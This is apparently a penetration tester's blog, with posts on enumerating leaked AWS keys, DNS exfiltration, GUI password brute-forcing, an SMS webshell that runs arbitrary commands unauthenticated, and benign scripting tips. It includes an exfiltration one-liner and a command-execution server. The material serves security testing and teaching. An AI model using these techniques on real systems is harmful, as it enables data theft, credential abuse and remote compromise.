Thursday, February 23, 2017

Enumerate Leaked AWS API Key Access

Sometimes on a pentest engagement (or from https://gitleaks.com) you'll come across some AWS API keys. If you want to know what those keys have access to, I've decided to make a script that runs through various AWS services API endpoints to list access to them. You can do this using the awscli tool but I find it less than ideal to deal with and the JSON you have to parse can be annoying.

So I decided to write a tool since I couldn't find one online. This tool is pretty simple, it simply takes in an access key and secret key often used in configurations and connect scripts. It then goes one by one to each service and queries useful information such as Dynamo DB table names, S3 bucket names and how many objects are in each one.

So for example, let's say during your recon/OSINT phase you discover some AWS API creds exposed on gitleaks or some config file. (The screenshot obviously isn't a client, just a random entry in gitleaks)

You take the "Access Key" and "Secret Key" and pump them into the AWSEnumerator script:
$ ./AWSEnumerator.py AKXXXXXXXXXXXXXXXXXA ENtXXXXXXXXXXXXXXXXXq
Checking for S3 buckets
  Total # of buckets: 9
    Bucket: bucket1 [8 objects]
    Bucket: bucket2 [1000 objects]
    Bucket: bucket3-dev [1000 objects]
    Bucket: bucket4 [1 objects]
    Bucket: bucket5 [747 objects]
    Bucket: otherbucket [1000 objects]
    Bucket: morebucket [54 objects]
    Bucket: whereismahbucket [26 objects]
    Bucket: ilikefish [95 objects]
Checking for EC2 Instances
  Total # of EC2 Instances: 2
    Instance: t2.nano - 52.570.576.548 - running
    Instance: t2.small - stopped
Checking for Lightsail Instances
  Total # of Lightsail instances: 1
    Name: enumtest1, Username: ubuntu, IP: 254.244.198.296, State: running
Checking for DynamoDB Tables
  Total # of DynamoDB Tables: 2
    Table Name: tabletest
    Table Name: test2
This information is fantastic for both reporting purposes as well as possibly escalating access or obtaining sensitive information.

Currently, the script supports:
  - EC2 Instances (type, IP, status)
  - S3 Buckets (name, number of objects)
  - Lightsail Instances (name, username, IP, state)
  - DynamoDB (table name)

I am planning on adding support for additional services as time goes on.

The tool can be found at https://github.com/atucom/AWSEnumerator

Friday, February 3, 2017

Super Simple DNS Exfiltration

I needed to test if I got command execution on a target box. Pretty much every outbound port was blocked. Luckily, it's extremely rare for people to turn off outbound UDP port 53 so DNS queries can still make it through.

In order for you to get a basic DNS exfil setup to work you'll need a couple things:
  1. A VPS to sniff the DNS queries
  2. A domain to direct the DNS queries to
The first step is to configure an NS record for a subdomain of your main domain. I simply created an NS record for e.domain.tld (replace domain.tld with your domain) and pointed it to the IP address of VPS.

Now when someone requests somedata.e.domain.tld the UDP request packet will go to the VPS IP. Run tshark/tcpdump to grab the request and prove if you have command execution or not.

I partially wrote the following python script to just parse out the domain name being requested.

#!/usr/bin/env python2

from scapy.all import *
from scapy.layers.dns import DNSRR, DNS, DNSQR

def handlepkt(p):
  #thanks stackoverflow!
  if p.haslayer(DNS):
      if p.qdcount > 0 and isinstance(p.qd, DNSQR):
          name = p.qd.qname
      elif p.ancount > 0 and isinstance(p.an, DNSRR):
          name = p.an.rdata
      print name

sniff(iface=eth0, filter="udp and port 53", store=0,  prn=handlepkt)

Since your DNS settings are configured properly, just start the python sniffer and run something like

for i in *; do host $i.e.domain.tld; done

And watch the requests come in.

Friday, January 6, 2017

How to Encrypt/Decrypt Using An RSA Keypair In Ruby

Simple process:
require 'openssl'

#Import your private/public keypair into separate objects to play with
priv = OpenSSL::PKey::RSA.new(File.read('test1.priv'))
pub = OpenSSL::PKey::RSA.new(File.read('test1.pub'))

#Use your public key to encrypt some data
#Here, 3 means use no padding (I needed it for some testing)
#Here I used 56bit keys and no padding which is why my input plaintext must be 56bits (7 characters)
#If you want the default of PKCS#1 padding, just remove the '3' argument
crypted = pub.public_encrypt("123456\n", 3)

#Now decrypt using your private key object (must supply same padding as before, or leave off for default)
decrypted = priv.private_decrypt(crypted,3)

Above I created the .priv and .pub using the following openssl commands:

#I chose 56 bits for testing, if used in reality it should be much higher like 2048
openssl genrsa -out test1.priv 56

#Using your private key, create a public key
openssl rsa -in test1.priv -out test1.pub -outform PEM -pubout

Thursday, November 3, 2016

OpenVPN Client Disconnect Notification

So I was configuring a pentest dropbox and hated the fact that you couldn't know if the dropbox connected unless you checked the VPN endpoint. I thought there must be a more automated/better way. Well, it turns out there is.

OpenVPN is fantastic and provides two very handy options: client-connect and client-disconnect. Cut from the OpenVPN manpage:

--client-connect script
Run script on client connection. The script is passed the common name and IP address of the just-authenticated client as environmental variables (see environmental variable section below).
Note that the return value of script is significant. If script returns a non-zero error status, it will cause the client to be disconnected.
--client-disconnect
Like --client-connect but called on client instance shutdown. Will not be called unless the --client-connect script and plugins (if defined) were previously called on this instance with successful (0) status returns.

So we can run arbitrary scripts whenever a client connects or disconnects. Using Twilio, I can get an SMS text message notifying me that a client called back to the server properly or when a client connection drops (for whatever reason).

This allows me to quickly deploy a dropbox and know if it was a good network spot or not before I even leave the building (and no pulling out laptops either!) It also lets me know if it got unplugged or lost connectivity and exactly when (e.g if it gets discovered).

No Twilio?

Don't have a Twilio account yet? get one. They are fun to experiment with and cost practically nothing. It also allows you to do stupid things like get a webshell over SMS


Steps:


  1. Configure OpenVPN server to allow user-created scripts to run
  2. Drop the python SMS scripts in /etc/openvpn/
  3. Test/verify the connection

Configure OpenVPN:

Luckily, this is as simple as adding a couple lines to the bottom of the config and restarting the service. Add the following lines to your /etc/openvpn/openvpn.conf:

script-security 2
client-connect /etc/openvpn/client-connect.py
client-disconnect /etc/openvpn/client-disconnect.py

and then do a "service openvpn restart" to reload the config


Drop Python SMS scripts:

With those above config lines, OpenVPN will simply execute whatever those scripts contain whenever a client connects/disconnects. It's extremely important that your connect script has no errors in it. Errors will cause the script to return a non-zero return status and OpenVPN will instantly drop the client connection. The following two scripts are simply pasted into the /etc/openvpn/ directory:

client-disconnect.py
#!/usr/bin/env python
from twilio.rest import TwilioRestClient
import argparse, time, os

#when openvpn calls a script, they populate the shell environment with a variety of details
#about the connection. You can call a script that does "env > /tmp/blah" and then cat it so
#see
clientname = os.environ['common_name']
clientip = os.environ['ifconfig_pool_remote_ip']
timestamp = time.strftime("%x - %X")


def send_sms(message):
  ACCOUNT_SID = "ENTER YOUR OWN TWILIO ACCOUNT_SID"
  AUTH_TOKEN = "ENTER YOUR OWN TWILIO AUTH_TOKEN"
  client = TwilioRestClient(ACCOUNT_SID, AUTH_TOKEN)
  client.messages.create(
      to="+1234567890",
      from_="+1234567891",
      body=message
  )

if __name__ == '__main__':
  send_sms("[-]DISCONNECTED - %s from %s at %s" % (clientname, clientip, timestamp))

client-connect.py
#!/usr/bin/env python
from twilio.rest import TwilioRestClient
import argparse, time, os

#when openvpn calls a script, they populate the shell environment with a variety of details
#about the connection. You can call a script that does "env > /tmp/blah" and then cat it so
#see
clientname = os.environ['common_name']
clientip = os.environ['ifconfig_pool_remote_ip']
timestamp = time.strftime("%x - %X")


def send_sms(message):
  ACCOUNT_SID = "ENTER YOUR OWN TWILIO ACCOUNT_SID"
  AUTH_TOKEN = "ENTER YOUR OWN TWILIO AUTH_TOKEN"
  client = TwilioRestClient(ACCOUNT_SID, AUTH_TOKEN)
  client.messages.create(
      to="+1234567890",
      from_="+1234567891",
      body=message
  )

if __name__ == '__main__':
  send_sms("[+]CONNECTED - %s as %s at %s" % (clientname, clientip, timestamp))

You should obviously change the ACCOUNT_SID, AUTH_TOKEN, to=, and from_= details to your own information.


Test the connection:

You configured the service, restarted the service to take in the new config details, and pasted in the proper scripts. Now is the time to make sure it works. You can either simply connect a client to the VPN and see if it works, or test the scripts manually. The process for manual testing is to enter the following:

cd /etc/openvpn
bash
export common_name=asdf
export ifconfig_pool_remote_ip=qwer
./client-connect.py


Bam, that should do it. Now disconnect the client and you should get the disconnect text as expected.

Caveat:
     The disconnect script only works when the OpenVPN server detects a disconnect. Which if you are using OpenVPN over UDP, it will wait for the timeout. If possible, run OpenVPN over TCP where if there is a disconnect, a TCP reset will be set and the disconnect script will trigger almost instantly.

TLDR: You get SMS text messages when your dropbox (or really anything) connects/disconnects from your VPN. Really useful for physical pentests.

Thursday, October 13, 2016

Consolidate Single IPs Into Ranges

Sometimes you'll have a file of one IP per line and it contains large swaths of continuous IP space. Listing out each IP of a /24 is unnecessary many times and looks way better if you shrink/consolidate them into networks.
I wrote the following python script to do just that.

#!/usr/bin/env python3
#takes in a file of one-per-line IPs and consolidates them into ranges
#@atucom

import ipaddress
import argparse
import sys

result = []
def consolidate(ipobj):
  result.append(ipobj)
  for ipstr in iparry:
    ipobj2 = ipaddress.ip_address(ipstr)
    if ipobj + 1 == ipobj2:
      result.append(ipobj2)
      iparry.remove(ipstr)
      consolidate(ipobj2)


if __name__ == '__main__':
  parser = argparse.ArgumentParser()
  parser.add_argument("FILE" ,help='The input file of one-per-line IPs to consolidate')
  args = parser.parse_args()
  if args.FILE:
    with open(args.FILE, 'r') as f:
      iparry = f.read().splitlines()
    for ipstr in iparry:
      consolidate(ipaddress.ip_address(ipstr))
      if ipaddress.ip_address(ipstr) == result[-1]:
        print(result[-1])
      else:
        print("%s - %s" % (ipaddress.ip_address(ipstr), result[-1]))
  else:
    exit(1)

It takes in a list of unique one-per-line IPs and outputs "-" notation of ranges

That "ips2.txt" file simply contains the following:
192.168.1.0
192.168.1.1
192.168.1.11
192.168.1.13
192.168.1.14
192.168.1.15
192.168.1.16
192.168.1.17
192.168.1.19
192.168.1.2
192.168.1.21
192.168.1.23
192.168.1.24
192.168.1.25
192.168.1.26
192.168.1.3
192.168.1.4
192.168.1.5
192.168.1.7
192.168.1.9

Wednesday, September 14, 2016

Better PHP Serialized Regex

Below is the regex I came up with to find instances of PHP serialized strings in other input. I made the regex a little loose to not miss any of them popping up. I tested this and it works perfectly.

(i|s|a|o|d):\d+:(.*);?


Tuesday, August 9, 2016

Automatic GUI Password Dictionary Attack Using PyAutoGui

I had a Samsung Portable SSD that has hardware encryption. You need a separate driver app to recognize it being inserted into USB and then it automatically starts up the password prompt for you to login.

After some researching and prodding, there didn't seem to be any way to login over the command line so I was restricted to typing the text at the password prompt. boooooo. I couldn't even copy and paste into the window so I had to manually type every character. I decided to look into GUI automation to see if I could create a script that would automatically click and type for me. I found PyAutoGUI from google and automate the boring stuff and decided to implement it. The script is actually extremely simple:

#!/usr/local/bin/python3
import time
import pyautogui
import os

list =  ['password1','password2','password3','...']
count = 0
time.sleep(5) #give you time to click inside the app
samsung_drive_cmd = "/Users/USERNAMEHERE/Library/Application\ Support/PortableSSD/Samsung\ Portable\ SSD.app/Contents/MacOS/Samsung\ Portable\ SSD &"

for pwd in list:
  if count >= 6 * 2:
    os.system("killall 'Samsung Portable SSD'")
    os.system(samsung_drive_cmd)
    count = 0
    time.sleep(4)
  print("Trying %s" % pwd)
  pyautogui.moveTo(640, 405) #move to text box to enter password
  pyautogui.typewrite(pwd, interval=0.1) #enter password with .1s wait in between chars
  pyautogui.moveTo(670, 539) #move to "login" and click
  pyautogui.click() 
  count += 2 #every password attempt seems to add 2 seconds internally as a wait counter
  time.sleep(count)

The if statement inside the for loop kills the app and restarts (at 6 password tries) it so it resets the internal counter of the application. There is no reason to wait 20 seconds to enter the next password when you can just kill the app and start again with a fresh timer in 4 seconds.

In action:


Generate your password list using JTR, format into a list and let it run overnight. You cant really use your computer while this is running.

UPDATE:
I changed up my code a little bit to be more reliable, read the password from a file, detect when the password is correct and die at that time. Here is the updated and better code:

#!/usr/local/bin/python3
import time
import pyautogui
import os
import subprocess

wordlist = open('wordlist.txt','r')
list = wordlist.read().splitlines()

count = 0
time.sleep(5) #give you time to click inside the app
samsung_drive_cmd = "/Users/USERNAMEHERE/Library/Application\ Support/PortableSSD/Samsung\ Portable\ SSD.app/Contents/MacOS/Samsung\ Portable\ SSD &"

for pwd in list:
  if count >= 6 * 2:
    os.system("killall 'Samsung Portable SSD'")
    os.system(samsung_drive_cmd)
    count = 0
    time.sleep(4)
  mountlist = subprocess.check_output(["mount"])
  if "Samsung_T1" in mountlist:
    print 'THE DRIVE IS MOUNTED'
    exit()
  print("Trying %s" % pwd)
  pyautogui.moveTo(640, 405) #move to text box to enter password
  pyautogui.typewrite(pwd, interval=0.1) #enter password with .1s wait in between chars
  pyautogui.moveTo(670, 539) #move to "login" and click
  pyautogui.click() 
  count += 2 #every password attempt seems to add 2 seconds internally as a wait counter
  time.sleep(count)

Thursday, July 28, 2016

How to import "raw" IPs into Burp

If you need to test a list of IPs and *any* domains that may be on those IPs, burp doesn't exactly make it easy to enter in a large number of IPs. If you try to use the "load" button with a file of just one IP per line, it will import it, but it will also do something extremely annoying:

Those regexes? They mess up everything. Before if you entered 1.2.3.4, ANY domain name that resolved to that would show up in the filtered sitemap, now only instances of "1.2.3.4" show up, and if you visit the domains, they no longer appear, because they don't match the regex.

I finally figured out how to upload a "raw" list of IPs into the scope listing unmodified. Burp has a feature on a tiny button that allows you to "load options", which is really just a json formatted file with a bunch of different Burp settings:
So I decided to take a look at the format, and holy crap, "raw" IPs are actually recognized properly in this settings file. So I wrote a quick python script to create a proper settings file from a supplied list of IPs:


#!/usr/bin/env python
#@atucom
#this script takes in a one-per-line file of IPs and adds it to Burp without any stupid regexes
#  This mimics the same thing as hitting the "add" button in the Scope tab
#  to load the resultant file, you need to go to the Scope tab, hit the little gear button in the 
#  top left and click "load settings", choose the jsonout.txt file and rejoice.
import sys
import json
basejson = """
{
    "target":{
        "scope":{
            "exclude":[
                {
                    "enabled":true,
                    "file":"logout",
                    "protocol":"any"
                },
                {
                    "enabled":true,
                    "file":"logoff",
                    "protocol":"any"
                },
                {
                    "enabled":true,
                    "file":"exit",
                    "protocol":"any"
                },
                {
                    "enabled":true,
                    "file":"signout",
                    "protocol":"any"
                }
            ],
            "include":[
            ]
        }
    }
}
"""
ipfile = open(sys.argv[1]) #open file of IPs (one per line)
iplist = ipfile.readlines()
dictjson = json.loads(basejson) #load base json data structure
for ip in iplist:
  newip = {"enabled":True, "host":ip.strip(), "protocol":"any"}
  dictjson['target']['scope']['include'].append(newip) #appends new IP entry to python dict

jsonout = open("jsonout.txt", "w")
jsonout.write(json.dumps(dictjson))
print("wrote to jsonout.txt")

To use it, run the script and supply the file with you one-per-line IP list. It will dump out a "jsonout.txt" file. In Burp, go to Target > Scope > Gear Button > Load Options > select jsonout.txt > Open

That should be it, your IPs should now show up in the "include in scope" box like below:


I also saved it to my gist for posterity: https://gist.github.com/atucom/b083d1f3b12606aaf4076a689d200939

I always assumed there had to be a supported way of doing this but after asking several people, nobody could find a way. This seems to be the only way that works for what I need done. Now, I just need to write up a Burp extension for it...

UPDATE:
Thanks to the help of a friend of mine with the Burp plugin code, I've been able to create a burp plugin that accomplishes this task:
https://gist.github.com/atucom/eabf35f344f46ffbd2f8d25b018f88c9

Friday, July 22, 2016

My "secrets" to scripting more and feeling like I type less

Motivational Disclaimer: 
I'm not a programmer. I don't fully understand all the nitty gritty computer science concepts of different programming paradigms, or "patterns", or "best-practices". Everything I know is self taught. Everything I know I've learned through trial and error, googling, or some simple online tutorials. I'm sure if a programmer looked at what I produce they could find a thousand different things to do better or faster. To a certain degree, I care about that. I care about producing what others consider to be "good" code. I also know my limitations. "Learning" to code (or scripting, but I'll just say coding) is not something to do, and THEN start do it very well. Coding is ugly. Your baby, the thing you will be proud of, WILL be ugly. But fuck that, honestly, because you actually HAVE something. That's more than a large percentage of the population can claim.
PS. I word-battle sailors. Take care if you have "delicate sensibilities"
----------

So I'm not a programmer in the least sense. I have, however, recognized that I do try to write a lot of code. My code revolves around efficiency. I wish to reduce how much typing I do. If I can do that by typing a little more now, so I can save it later, than that's an awesome reason to write a script.

We all have an inferiority complex to some degree, and for the longest time I thought nothing I produced was worthy of another's eyes. But I realized something, people kept asking for my scripts. People kept using my dotfiles (mostly for the scripts). People kept making use of the things I was creating. That feeling is actually rather addicting. People now look at me and have said things like "wow, I wish I could script". Well I'm here to share with you some things I've learned throughout my journey, things I haven't seen anyone else suggest for newbies. This is intended for fairly technical people who understand basic things like what a variable or function is but just haven't made the plunge to actually get more into it (people who stop at hello world). This is not for people looking to get into programming/development as a job. This is for people who have peers that script and feel that its "something they should get better at" (e.g. lots of infosec people). So bite the pillow, this is going to be a wall of text.

1. Learn to recognize WHEN to write a script
     This is probably the most important skill to first get. You need to set what I call a "mental breakpoint" when you encounter certain thoughts or emotions. You need to catch yourself right when you think "God I wish I could do this faster" or "Ugh, I keep typing the same shit over and over again". Train yourself to break out of that moment and trigger a whole new line of thought of "Wait a second, how COULD I make this faster?" or "Could I create something to actually reduce how many times I do this?"

2. Understand how to convert the problem into a program
     I watched a free programming video recording from Stanford (the ones you get for free on iTunes) and while most of it was rather boring and my ADHD took over, there was one statement the teacher made that has stuck with me and I remember every time I start to write a script. "All programs do the exact same thing, they take input, they do something with it, and they produce output" - now that is an incredibly generic and abstract thought, yes, but it frames your goal in a particular way which (to me, at least) was ground breaking. I now ask myself these questions every time:

  1.  What will be the input to my program? will it be text from some other command? will it be text I scraped from a website somewhere? Will it be some arbitrary file? will it be XML? will it be an image? What will the INPUT be?
  2. What will I do to this input? What's the body of the script? Really, what is the point of what I'm doing? Is it to analyze that text input for repeating patterns? is it to constantly check that website for changes and updates to it's content? is it to encrypt a file in some way? is it to add a watermark to an image? What is the "goal" you are trying to accomplish?
  3. What will this produce? what is the end result? Will it "produce" something like a file? or will it update a SQL record somewhere? Will it send you a text message when it notices a change on that website? or will it trigger a whole other script all together? What is the thing you want to walk away with?

     These questions can take all of 4 seconds to answer in simple cases, and weeks in the complex ones. Sometimes the answers to these questions will be obvious in certain cases and you don't even really need to think about it, but mostly, I like to keep that framework of "INPUT, DO, OUTPUT" in my head mostly all the time.

3. Is writing this script worth it?
     In my moments of wonder I like to think that computers are capable of anything, that they can solve the world's problems and make our lives infinitely better in all the ways that matter. Unfortunately the skill of a computer is at least limited by the skill of the programmer.
     Many times I'll come across a problem I swear I can easily solve by scripting, but as time goes on I find that the actual problem I'm trying to solve is way out of my ability as a programmer. It would be impossible for me to tell you what you can and cant do, I can say however, that the more you code and the more efficient you get at it, the smaller that list of "cant's" gets. Ideally it would shrink to where you become a greybeard wizard or something but thats just the magical fairy land I keep my head in.
     The instances in which I had a problem to solve, but couldn't find the solution I simply file it away in it's own project directory as something to look at again in the future. Many time I'll come across a new tool/module/gem/whatever that does the thing that my script needed to begin with. Sometimes, someone else solves the problem that I had, but I try to not rely on that "oh maybe in the future" line of thinking.

4. You can't do this alone
     Think about it for a second, you are starting out in a hobby/profession where there are millions of experts. If you ever sit down in front of a terminal and think "shit, I don't know how to get these two servers to talk" or "shit, I don't know how to search an array for a string" and start to feel discouraged that you're dumb and you don't know how to do "simple" things, stop. If that happens to you, you cant stop that internal reaction, but you can instantly distract yourself by actually GOOGLING your problem.
     You will need to read the docs. Like, a lot of docs. You will Google A LOT. You will read MANY stack overflow posts. You will read many man pages. You will google your google results. You will read both awesome and shitty blog articles. There will be a lot of "copy and paste that stack overflow post and change it to fit your needs". This is normal. This is OK. You are not awful because of this. You may be awful for other completely unrelated reasons, but not for this.
     Github is your friend. Read other people's code. Steal their code if it works. Just don't claim that you made that stolen code yourself, that's a dick move. There are enough self-entitled dicks who want to drama-llama everything so they get attention. Don't be a dick. Break the cycle, Morty, rise above, focus on science.
     Ideally, you'd have a friend or coworker who is willing to provide advice, or at least valuable links to websites that provide valuable advice. If you have that kind of friend than I VERY STRONGLY suggest you do the following:

  1. Roughly understand the problem you are trying to solve
  2. Do some basic work on trying to find a way to solve it
  3. Ask specific questions, but give context. Don't ask them "how can you delete every third entry in an array" ask instead "How can you delete every third entry in an array? Apparently garbage data keeps coming into every third entry that I store into an array". They may respond with "like this" or they may go on to tell you how it's a good idea to deal with the garbage data on input before the array and maybe log it properly in case you have problems later.
  4. Show your friend that you respect their time by illustrating that you've done some research beforehand. It's incredibly aggravating to get asked a question that the first google result answers.


5. Stop practicing and start doing
If I see another "hello world" script I'm going to punch a baby. Stop copying stupid scripts that don't actually DO anything. You know what a variable is, you know what a function is. Going through the 4th online tutorial that teaches you how to write yet another 1+1 python function isn't helping you. It's the equivalent of tracing an image on paper so you can FEEL like you are an artist. You already know the absolute basics (if you don't, then those tutorials are helpful). Identify a problem you have (using step 1) and start solving it (by using steps 2 & 4).
     It's going to suck. Your code is going to suck. You will be embarrassed of your ugly child.  But, if your child functions, then keep it. Improve on it if you have the time and energy or save the improvements for a later date.
     I recommend jumping into the "hard stuff" even if you're still at the "easy stuff", you will learn A LOT faster that way.

6. OK, actually you need to practice too
     I "practice" code all the time, often times before I actually do anything and sometimes just for fun. What I mean by that is I usually start up a Ruby or Python interpreter and start pasting in some code, changing random sections of code or variables, googling errors that result, trying out other's code from Github or StackOverflow.
     A perfect example is that I thought to myself a couple years ago "I read about XMLRPC, I wonder how I can actually make it do something in Ruby" so I found a free XMLRPC endpoint for testing on the Internet, fired up my Ruby interpreter and just starting pasting code I saw listed in the basic documentation. I saw how it made a connection, the syntax it expected, how to issue the XMLRPC method calls, how to play with the results and so on and so forth. I wiped my screen, and tried to do all that again from scratch with no pasting. I had no use for it, it was just for fun. One year later I needed to get a value from an XMLRPC endpoint and I thought to myself "Hey, I played with XMLRPC on Ruby a while ago, I'm pretty sure I can get this up and working".
     Bam, because of that "for fun" practice I did, I was much faster and more efficient at accomplishing that goal at the moment I needed it. I try to find ways to play with code for fun as often as I can.

7. Perfect does not exist
Nothing is perfect, your code definitely won't be. An old manager told me it takes 90% of the total time to accomplish the last 1% if you aim for perfection. I now aim for "get it working and mostly reliable". I don't create scripts that require 100% reliability, or that someone paid millions of dollars for. I write scripts mostly for myself, to save myself time. My "extra" aim is to write the same script so that my friends/coworkers can use it easily, that is, if I think they will benefit from it in the first place.
     I can say however, that as I have aimed for writing more well-documented and more reliable scripts, it has become easier to do so by default. This practice of aiming for your peers (once you can write for yourself) creates a habit of accounting for things you may not have thought of (bad input, not enough comments, bad parameter descriptions, overall ease of use, etc), which overall results in "better" scripts as I go on.

8. Don't stop
     You WILL forget the language if you don't keep it up. I'd say at the absolute least you should be reading code once a week and writing something once a month. That's absolute minimum. Please don't aim for the minimum, mediocrity doesn't look good on you.

9. You're a wizard, Harry
     Coding (IMO) is the closest humans can get to magic. This shit feels like magic most of the time. You just created a python script that can track peoples movements from a video feed? Holy shit are you a wizard? In order to feel like a wizard, you have to feel like your doing magic. Don't lose the wonder and amazement in training your abilities. You know that everything you can do isn't magic, you know how to perform edge detection and draw a certain pixel size box that colored red around that thing, and you know what functions to use to detect it's movement, but don't lose the feeling.
     We are motivated by desires and emotions. Train yourself to hold on those, to remember those, to remember why they got triggered in the first place. Often I have to remind myself to sit back at the end of something and think "yeah, I just did that, and it was awesome for me...I wonder what I could do next"
     So you may be year 1 Harry Potter, but you got a lot of learning and awesomeness ahead of you. Go be a fucking wizard.

So seriously, ingrain step 1 in your head, and go from there.

Wednesday, July 20, 2016

How to have a webshell over SMS

I consider this more of a "stupid trick" than actually being terribly useful. I recently thought to myself "How awesome would it be if I could text a phone number to run some commands" and I immediately answered that question with "super freakin' awesome".

You need the following:
  1. A number set up at Twilio - This is what is used to actually communicate over SMS
  2. A VPS - You need this to host a server application to accept the text string from Twilio servers. This will also be where the commands are actually run.
  3. Ruby with twilio-ruby and sinatra gems installed
Purchase a phone number in Twilio and have the "webhook" line in the SMS section point to your VPS URL, for example: http://myvpshere:8080/smscli or whatever you choose. Once you set that up, whatever SMS messages get sent to the phone number you purchased in Twilio will be sent as an HTTP Post request to the URL you specify. 

Now all you need is a server listening at that URL on your VPS to accept the HTTP Post requests from the Twilio servers and do something with the body of the request. In this case, we pass whatever text as a system command and reply to the phone number with the result of the command. The following example Ruby code starts up a sinatra web server to do all that:


require 'twilio-ruby'
require 'sinatra'

set :port, 8080
set :bind, '0.0.0.0'

post '/smscli' do
  puts "Message: #{params['Body']}!"

  result = `#{params['Body']}`

  twiml = Twilio::TwiML::Response.new do |r|
    r.Message result
  end
  twiml.text
end

Overall, this really isn't that different from any other webshell. The only real difference is you are leveraging Twilio to handle SMS communications.

Now you get to do something stupid like this:

PS.
     I shouldn't have to mention that taking in arbitrary text from untrusted sources and running them as commands under root is pretty much the worst thing you could do security wise. This is merely an example of how to get the pure task done. Implement some auth or something, I don't care... It's your funeral...